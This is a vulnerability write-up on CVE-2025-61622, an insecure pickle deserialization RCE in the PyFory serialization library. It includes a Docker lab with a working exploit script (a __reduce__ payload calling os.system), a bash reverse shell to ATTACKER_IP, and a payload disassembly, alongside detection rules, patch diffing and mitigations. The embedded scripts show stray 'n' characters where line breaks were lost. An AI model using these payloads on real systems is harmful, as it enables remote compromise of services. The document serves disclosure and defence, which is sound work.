Executive Summary
CVE-2025-61622 is an unauthenticated remote code execution in PyFory (formerly PyFury / Apache Fory), an open-source high-performance Python serialization framework marketed as a drop-in replacement for pickle and msgpack. The vulnerability sits in the library’s fallback path for serialized values whose type was never registered: handle_unsupported_read() in pyfory/_fory.py instantiates a bare pickle.Unpickler with no find_class override and calls .load() on the attacker’s buffer. That is, by the time PyFory’s schema check has decided “I don’t know this type”, the pickle bytecode VM has already executed every opcode in the stream — including any REDUCE (0x52) that the attacker placed at the top.
The operational impact is exactly what 25-plus years of pickle warnings would lead you to expect: any process accepting PyFory-serialized input over a network with require_type_registration=False (the default in 0.12.0–0.12.2) can be made to run arbitrary OS commands. The attacker does not need PyFory installed locally — a four-line cloudpickle.Pickler().dump() of a __reduce__ trampoline pushed over a TCP socket is enough. The fix in 0.12.3 is structural: the pickle fallback is removed entirely and handle_unsupported_read() now raises UnsupportedTypeError immediately, with an ENABLE_TYPE_REGISTRATION_FORCIBLY environment variable available for hosts that want to enforce safe-by-default behaviour globally.

At a Glance
| Field | Value |
|---|---|
| CVE | CVE-2025-61622 |
| Affected product | PyFory (formerly PyFury / Apache Fory) — Python implementation |
| Affected versions | 0.12.0 – 0.12.2 |
| Fixed version | 0.12.3+ |
| Vulnerable file/function | pyfory/_fory.py — handle_unsupported_read() (around line 448) |
| Root cause | Bare pickle.Unpickler with no find_class() override invoked on attacker-controlled buffer in fallback path |
| Trigger flag | Constructor argument require_type_registration=False (default in 0.12.0–0.12.2) |
| Attack vector | Network — any service deserializing untrusted PyFory streams; attacker does NOT need PyFory installed (cloudpickle suffices) |
| Privileges required | None |
| User interaction | None |
| Impact | Unauthenticated arbitrary command execution as the PyFory-consuming process |
| Mitigation flag (0.12.3+) | ENABLE_TYPE_REGISTRATION_FORCIBLY=1 — forces type registration globally |
What is PyFory?
PyFory is the Python language binding for the cross-language Fory (formerly Fury) serialization framework. It targets the same niche as pickle, msgpack and Protocol Buffers, but with two pitches that make it interesting to backend engineers: JIT-compiled type encoders that promise lower per-call overhead than vanilla pickle, and cross-language interop — the same serialized stream can be decoded by a Java, Go, Rust, JavaScript or C++ consumer. That cross-language story is what gets PyFory into RPC layers, microservice queues and cache backends.
The Python implementation has a registration model: callers are expected to call Fory.register_class() for every type that will travel over the wire, and the encoder/decoder then uses the registered table to drive type dispatch. The vulnerability is in the path that fires when the registration model fails — when a stream arrives carrying a type the library was never told about.
Attack Flow

- Attacker crafts a Python class whose
__reduce__returns(os.system, (cmd,)). - Attacker pickles it with
cloudpickle.Pickler().dump()— no PyFory dependency needed. - Attacker sends the resulting byte buffer to the target service’s deserialization endpoint.
- PyFory’s schema check declares the type unregistered and dispatches to
handle_unsupported_read(). handle_unsupported_read()creates a barepickle.Unpickler(buffer)and calls.load().- The pickle VM walks the opcode stream, hits
REDUCE, pops the callable + args and invokesos.system(cmd)— RCE.
Building the Lab
The SecureLayer7 write-up ships a two-container Docker lab: a victim container running a stripped-down Python service that emulates handle_unsupported_read() on TCP port 9999, and an attacker container with cloudpickle installed for payload generation. Both containers sit on the same bridged Docker network so the attacker can hit the victim by hostname.
Dockerfile
FROM python:3.11-slim
WORKDIR /lab
RUN pip install --no-cache-dir cloudpickle
# Vulnerable app -- simulates PyFory _fory.py:448 (handle_unsupported_read)
RUN echo '#!/usr/bin/env python3n
import pickle, io, socketn
n
def handle_unsupported_read(buffer):n
"""PyFory _fory.py:448 -- vulnerable function"""n
unpickler = pickle.Unpickler(buffer)n
return unpickler.load()n
n
print("[*] PyFory App (require_type_registration=False)")n
print("[*] Listening on 0.0.0.0:9999")n
n
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)n
s.bind(("0.0.0.0", 9999))n
s.listen(1)n
n
while True:n
c, addr = s.accept()n
print(f"[+] Connection: {addr}")n
data = c.recv(4096)n
if data:n
print("[*] Calling handle_unsupported_read()...")n
handle_unsupported_read(io.BytesIO(data))n
c.close()n
' > pyfory_app.py
# Exploit using cloudpickle + __reduce__
RUN echo '#!/usr/bin/env python3n
import io, socket, sys, osn
from cloudpickle import Picklern
n
class RCE:n
def __init__(self, cmd): self.cmd = cmdn
def __reduce__(self): return (os.system, (self.cmd,))n
n
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"n
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"n
n
print(f"[*] Target: {host}:9999")n
print(f"[*] Payload: {cmd}")n
n
buf = io.BytesIO()n
Pickler(buf).dump(RCE(cmd))n
n
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)n
s.connect((host, 9999))n
s.send(buf.getvalue())n
s.close()n
print("[+] Exploit sent!")n
' > exploit.py
COPY poc_minimal.py .
RUN chmod +x *.py
docker-compose.yml
services:
victim:
build: .
container_name: cve-2025-61622-victim
ports:
- "9999:9999"
networks:
- vuln-net
command: python pyfory_app.py
attacker:
build: .
container_name: cve-2025-61622-attacker
networks:
- vuln-net
depends_on:
- victim
stdin_open: true
tty: true
command: /bin/bash
networks:
vuln-net:
driver: bridge
Bring the lab up with cd CVE-2025-61622/lab && docker compose up -d.
Proof of Concept
Step 1 — Demonstrate the Primitive Locally
Before talking to the network, prove the primitive works in-process. The __reduce__ protocol tells pickle “to reconstruct me, call this function with these arguments” — nothing constrains that function to be safe.
class CommandExecutionPayload:
def __reduce__(self):
return (os.system, ('echo COMMAND EXECUTED FROM PICKLE!',))
buf = io.BytesIO()
Pickler(buf).dump(CommandExecutionPayload())
# Round-trip through pickle.Unpickler.load() -- this is what PyFory does on unknown types
pickle.Unpickler(io.BytesIO(buf.getvalue())).load()
# ↓
# COMMAND EXECUTED FROM PICKLE!

__reduce__ primitive triggering os.system through a local pickle.Unpickler.load(). Source: original article.Step 2 — Send the Payload Over the Network
The on-the-wire exploit is a tiny cloudpickle.Pickler().dump() of the RCE class above, written into an io.BytesIO, then sent over a single TCP connection to port 9999 on the victim container. No PyFory client library required.

__reduce__ class + cloudpickle.dumps + a single socket send. Source: original article.
handle_unsupported_read(). Source: original article.Step 3 — Verify Code Execution on the Victim
docker exec cve-2025-61622-attacker
python exploit.py cve-2025-61622-victim "touch /tmp/pwned_pyfory"
# Result: /tmp/pwned_pyfory created as root on victim

/tmp/pwned_pyfory created on the victim plus a pickletools disassembly of the payload. Source: original article.A pickletools.dis of the same payload shows the bytecode VM at work: push os, push system, STACK_GLOBAL them into a callable, push the command string, wrap it in a 1-tuple, REDUCE:
0: x80 PROTO 4
2: x95 FRAME 28
11: x8c SHORT_BINUNICODE 'os' # push 'os' onto stack
15: x94 MEMOIZE (as 0)
16: x8c SHORT_BINUNICODE 'system' # push 'system'
24: x94 MEMOIZE (as 1)
25: x93 STACK_GLOBAL # pop names, push os.system
26: x94 MEMOIZE (as 2)
27: x8c SHORT_BINUNICODE 'id' # push the command string
31: x94 MEMOIZE (as 3)
32: x85 TUPLE1 # wrap top-of-stack in 1-tuple
33: x94 MEMOIZE (as 4)
34: R REDUCE # pop callable + args, call it
35: x94 MEMOIZE (as 5)
36: . STOP
Step 4 — Reverse Shell
docker exec cve-2025-61622-attacker
python exploit.py cve-2025-61622-victim
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Static Analysis
Anatomy of the __reduce__ Trick
The entire offensive surface in this bug is one method on the attacker class. __reduce__ returns a 2-tuple of (callable, args) that pickle’s reconstruction logic invokes immediately. There is no “safe” subset of __reduce__; the callable is arbitrary.
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
# Tells pickle: "to rebuild me, call os.system(cmd)"
return (os.system, (self.cmd,))
Pickle Is Not a Serialization Format — It’s a Bytecode VM
The most important framing the SecureLayer7 write-up makes: Python’s pickle is a stack-based bytecode interpreter. Every .load() call walks an opcode stream and executes it. REDUCE (0x52) pops a callable and an argument tuple off the stack and invokes them, before the application ever sees the resulting object. If the attacker can place bytes into the buffer that Unpickler.load() reads, the attacker can call any importable function with any arguments.
find_class() — The One Hook That Could Have Saved PyFory
The defensive hook is Unpickler.find_class(module, name), shipped in Python 2.3 and present in every stdlib pickle ever since. Subclassing Unpickler and overriding find_class with an allow-list turns pickle from a remote-code-execution primitive into a structured-data decoder; the canonical recipe is the RestrictedUnpickler pattern from the official Python documentation:
class RestrictedUnpickler(pickle.Unpickler):
SAFE = {("pyfory.types", "MyType"), ("pyfory.types", "OtherType")}
def find_class(self, module, name):
if (module, name) not in self.SAFE:
raise pickle.UnpicklingError(f"global {module}.{name} forbidden")
return super().find_class(module, name)
PyFory’s vulnerable releases imported the raw Unpickler class with no subclass, no find_class override, no allow-list, no policy. Every type pickle is asked to resolve is resolved.
The Dangerous Fallback — handle_unsupported_read()

pickle.Unpickler, no find_class override. Source: original article.# pyfory/_fory.py
def handle_unsupported_read(self, buffer):
in_band = buffer.read_bool()
if in_band:
unpickler = self.unpickler
if unpickler is None:
self.unpickler = unpickler = Unpickler(buffer) # <-- bare Unpickler
return unpickler.load() # <-- bytecode VM runs
else:
assert self._unsupported_objects is not None
return next(self._unsupported_objects)
Note also the memoisation on self.unpickler — once constructed the Unpickler is reused for every subsequent call, so even short-lived processes that handle multiple messages are exposed.
The Symmetric Write Side — handle_unsupported_write()
def handle_unsupported_write(self, buffer, obj):
if self._unsupported_callback is None or self._unsupported_callback(obj):
buffer.write_bool(True)
self.pickler.dump(obj) # cloudpickle.Pickler -- superset of pickle
else:
buffer.write_bool(False)
The write side uses cloudpickle.Pickler, which is a strict superset of stdlib pickle. The practical consequence: the attacker doesn’t need PyFory installed at all. pip install cloudpickle, build a single object with an attacker-controlled __reduce__, dump it to bytes, push it at the victim’s socket. The PyFory consumer accepts it because PyFory’s read path is a strict subset of what its write path can emit.
The Safety Gate — _PicklerStub vs Real Unpickler
The vulnerable releases do ship a safety mechanism: stub classes that raise on every dump() / load() call. The catch is that they’re only installed when require_type_registration is true. The default is false.
# pyfory/_fory.py (Fory.__init__, abbreviated)
if not require_type_registration:
warnings.warn(
"Type registration is disabled, unknown types can be deserialized "
"which may be insecure.",
RuntimeWarning,
stacklevel=2,
)
self.pickler = Pickler(self.buffer) # real cloudpickle.Pickler
self.unpickler = None # real pickle.Unpickler created lazily
else:
self.pickler = _PicklerStub() # raises on dump
self.unpickler = _UnpicklerStub() # raises on load
class _PicklerStub:
def dump(self, o):
raise ValueError(f"Type {type(o)} is not registered, pickle is not allowed ...")
def clear_memo(self): pass
class _UnpicklerStub:
def load(self):
raise ValueError("pickle is not allowed when type registration enabled, ...")
The Forcing Env Var — A Hint of How the Library Should Have Looked
_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
"ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}
self.require_type_registration = (
_ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)
The presence of an ENABLE_TYPE_REGISTRATION_FORCIBLY escape hatch is itself a tacit acknowledgement that the safe path was always the right default, and that the library was shipped with the dangerous one selected.
RuntimeWarning Is Cosmetic, Not Protective
The warnings.warn(..., RuntimeWarning) issued by the unsafe constructor branch is printed once per call site, then suppressed for the lifetime of the process. In a long-running server — the exact deployment shape PyFory is pitched for — the warning shows up in the first second of startup, is missed by every monitor that doesn’t parse stderr, and never appears again. The mitigation has the appearance of a defence but its actual effect on operational risk is zero.
Detection — Static and Runtime
- Static (grep-able): any call site instantiating
Fory()/Fury()withoutrequire_type_registration=True. Also any direct import ofpickle.Unpicklernot followed by a subclass with an explicitfind_class()method. - Runtime: monitor for child processes spawned by Python services that never used to fork —
os.systemfrom inside a deserialization stack is a high-fidelity behavioural signal. The standard auditd / sysmon rule on parent=python*and child=/bin/sh|/bin/bashcatches the textbook exploitation. - YARA / network: look for the
STACK_GLOBAL+REDUCEopcode sequence (x93followed byR) inside payloads being decoded by a Python service. The byte pattern is short but high-signal in non-pickle workloads.
Why “Just Use HMAC” Isn’t Enough
A standard reflex when a deserialization bug is reported is “wrap the payload in an HMAC so only authenticated senders can submit”. The SecureLayer7 write-up argues, correctly, that HMAC is necessary but not sufficient: any compromised sender, replayed message, or insider account becomes RCE against every consumer on the bus. The structural fix is to never invoke pickle on a buffer whose schema you do not yet trust, which is exactly what the 0.12.3 patch does.
Patch Diffing
Before — PyFory 0.12.0 to 0.12.2
A bare pickle.Unpickler.load() on the attacker-controlled buffer in handle_unsupported_read() — the entire vulnerability sits in this single function and the absence of find_class.
After — PyFory >= 0.12.3

handle_unsupported_read raises UnsupportedTypeError. Source: original article.def handle_unsupported_read(self, buffer):
raise UnsupportedTypeError(
"Deserialising unregistered types is no longer supported. "
"Please register all types via Fury.register_class()."
)
ENABLE_TYPE_REGISTRATION_FORCIBLY Environment Variable
_ENABLE_TYPE_REGISTRATION_FORCIBLY = os.getenv(
"ENABLE_TYPE_REGISTRATION_FORCIBLY", "0"
) in {"1", "true"}
# Used inside __init__:
self.require_type_registration = (
_ENABLE_TYPE_REGISTRATION_FORCIBLY or require_type_registration
)
Operators of large Python fleets running on hardened images can set ENABLE_TYPE_REGISTRATION_FORCIBLY=1 system-wide and guarantee that every PyFory instance ignores require_type_registration=False in any constructor call, no matter who wrote that line of application code.
Monkey-Patch Retrofit for Legacy Deployments
Where upgrading PyFory isn’t immediately possible, the SecureLayer7 write-up suggests a runtime retrofit that hooks the stdlib’s own find_class with a global allow-list:
import builtins, pickle, types
_real_find_class = pickle.Unpickler.find_class
def _safe_find_class(self, module, name):
if (module, name) not in {("pyfory.types", "MyType"), ...}:
raise pickle.UnpicklingError(f"forbidden global {module}.{name}")
return _real_find_class(self, module, name)
pickle.Unpickler.find_class = _safe_find_class
Impact
- Any service deserializing untrusted PyFory-formatted streams with
require_type_registration=False(the default in 0.12.0–0.12.2) is exploitable. - The attacker needs no PyFory installation —
cloudpickleis enough. - Execution happens as the PyFory-consuming process — often a long-running Python service, often running with elevated privileges in container or VM deployments.
- Memoisation on
self.unpicklermeans the vulnerability persists across messages on the same Fory instance. - The
RuntimeWarningshipped with the unsafe default is operationally invisible.
Key Takeaways
- pickle is a bytecode VM. Anyone who can write bytes to a buffer your code subsequently passes to
pickle.Unpickler.load()can call any importable callable. There is no “safe” pickle. find_class()is the one defensive hook, and it has been there since Python 2.3. SubclassingUnpicklerand overriding it with an allow-list is the only sound use of pickle on untrusted input.- Fallback paths in serialization libraries are dangerous because they invoke unsafe primitives precisely when the library has decided it does not understand the input — exactly the moment when the input is most likely to be adversarial.
- Schema-registration models are only as safe as their default: PyFory’s default was off, and a
RuntimeWarningat startup did not change anything operationally. - An attacker doesn’t have to use your library. The PyFory write side uses
cloudpickle, a public package; that’s all an attacker needs to construct a valid input. - Patch is structural, not a flag flip. PyFory 0.12.3 removes the pickle fallback entirely. Users on 0.12.x prior to 0.12.3 are vulnerable regardless of constructor flags.
- HMAC alone is not a mitigation for this class of bug. Any sender with the key, replayed message, or insider account becomes RCE against every consumer on the channel.
Defensive Recommendations
- Upgrade PyFory to 0.12.3 or later, fleet-wide. There is no constructor-flag-only mitigation for releases prior to the structural patch.
- Set
ENABLE_TYPE_REGISTRATION_FORCIBLY=1at the platform / container image level. The variable overrides per-instance constructor flags and enforces safe-by-default behaviour even if application code passesrequire_type_registration=False. - Grep your codebase for direct pickle use. Anywhere you find
pickle.Unpickler(...).load(),pickle.loads(), orcloudpickle.loads()on a buffer that came from outside the process, wrap it in aRestrictedUnpicklerwith an allow-list of(module, name)tuples. The same rule applies tojsonpickle,pickleshare,shelve,dill, andjoblib.load. - Add an EDR / sysmon rule for child processes spawned by Python services that aren’t expected to fork.
parent=python*—child=/bin/sh|/bin/bash|/bin/dashis a clean detection pattern that hits this exploitation shape with low FP. - Network-side YARA / Suricata rule on the
x93Rbyte sequence (STACK_GLOBAL+REDUCE) inside payloads addressed to services known to use PyFory / Python pickle. The pattern is short but unusual in non-pickle traffic. - Audit container privilege. PyFory consumers running as root, or with capabilities like
CAP_NET_RAW/CAP_SYS_ADMIN, turn a single message into a fleet-wide compromise. Drop privileges to a minimal service user. - Track pickle traffic as cross-trust-boundary data. A pickle bytestream between two processes in your service mesh is fine if both endpoints belong to the same trust zone; the moment the bytestream crosses a zone boundary it needs an authenticated, schema-validated wrapper around it, not just an HMAC.
- For new code, prefer schema-validated formats (Protocol Buffers, msgpack with strict mode, JSON Schema). When the format is the schema, there is no “unknown type” fallback to exploit.
Conclusion
CVE-2025-61622 is, in one sentence, what happens when a high-performance serialization library uses raw pickle.Unpickler as its “I don’t know what this is, but I’ll try to read it anyway” fallback. The SecureLayer7 write-up does the field a favour by treating it as an exhaustive teaching exercise — reproducing the lab, disassembling the payload with pickletools, walking the __reduce__ protocol from first principles, and showing exactly which line of the 0.12.3 patch removed the foot-cannon. The structural lesson is one Python ecosystem has had since 2003 and still hasn’t internalised: pickle.Unpickler.load() on untrusted input is RCE; there is no “but it’s a fallback” that changes that. Credit and thanks to SecureLayer7 for the deep technical write-up, the working PoC lab, and the patch-diff analysis.
References
- SecureLayer7 write-up — CVE-2025-61622 PyFory deserialization RCE (May 28, 2026)
- PyFory on PyPI
- Python docs — Restricting Globals (the canonical
RestrictedUnpicklerpattern) - Python docs — pickletools (for disassembling pickle bytecode)
- gousaiyang/pickleassem — pickle assembler for crafting payloads
- cloudpipe/cloudpickle
- Apache Fory (parent project of PyFory)
Original text: “CVE-2025-61622: PyFory – Insecure Pickle Deserialization to Remote Code Execution” at SecureLayer7 Blog (May 28, 2026).

